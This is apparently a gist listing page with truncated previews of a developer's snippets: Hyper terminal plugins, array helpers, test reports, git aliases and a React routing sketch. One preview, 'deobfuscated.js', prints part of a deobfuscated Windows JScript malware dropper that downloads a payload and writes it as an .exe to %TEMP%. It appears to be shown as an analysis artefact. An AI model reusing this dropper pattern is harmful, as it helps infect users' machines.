View hyper-stayalive.js
'use strict';
const seen = new Set();
const $KNOWS_TO_HIDE = Symbol('knowsToHide');
exports.onWindow = window => {
if (window[$KNOWS_TO_HIDE]) return;
window[$KNOWS_TO_HIDE] = true;
window.rpc.on('hide', () => setTimeout(() => window.hide(), 0));
};
exports.middleware = store => next => action => {
switch (action.type) {
View autohide.js
'use strict';
const $AUTO_HIDDEN = Symbol('autoHidden');
if (process.env.HYPER_AUTOHIDE) {
exports.onApp = app => {
if (app[$AUTO_HIDDEN]) return;
app[$AUTO_HIDDEN] = true;
const windows = app.getWindows();
for (const window of windows.values()) {
setTimeout(() => window.hide(), 500);
}
View arrutils.js
export const replace = (arr, index, value) => [
...arr.slice(0, index),
value,
...arr.slice(index + 1)
]
export const insert = (arr, index, value) => [
...arr.slice(0, index),
value,
...arr.slice(index)
View xunit.xml
<?xml version="1.0" encoding="UTF-8"?>
<testsuite name="/hello" timestamp="2016-11-23T15:32:04.685Z" tests="31" errors="0" failures="6" skip="1" time="66">
<testcase classname="global" name="is global" time="0"/>
<testcase classname="An error" name="is an error" time="0">
<failure type="Error" message="banana">
Error: banana
at Context.&lt;anonymous> (/home/pluma/projects/arango/_local/3.1.devel/arango-apps/_db/_system/hello/APP/test/queries.js:12:11)
at Function.global.DEFINE_MODULE.exports.nextTick [as immediately] (./js/common/bootstrap/modules/process.js:26:5)
</failure>
</testcase>
View cancellable.js
/*global assert*/
class CancellationError extends Error {}
CancellationError.prototype.name = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
})
View .bash_aliases
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
View deobfuscated.js
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.open()
stream.type = 1
stream.write(xhr.ResponseBody)
stream.position = 0
View tap
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
View react-routing-dreamcode.js
import React from 'react';
import ReactDOM from 'react-dom';
import {Provider} from 'react-redux';
import {createHistory} from 'history';
import {Router} from '?';
import {Home, UserList, UserDetail, Admin, AdminDashboard} from './views';
import {ErrorView, NotFound, Forbidden, Login} from './views/error';
import {createStore} from './store';
// routes are defined as plain old objects
View es6-array-utils.js
const range1 = n => Array.from(Array(n).keys());
const range2 = (off, n) => Array.from(Array(n - off).keys()).map(i => i + off);
const range3 = (off, step, n) => Array.from(Array(Math.ceil((n - off) / step)).keys()).map(i => i * step + off);
const range = (...args) => args.length === 1 ? range1(...args) : args.length === 2 ? range2(...args) : range3(...args);
const repeat = (x, n) => Array.from(Array(n)).map(() => x);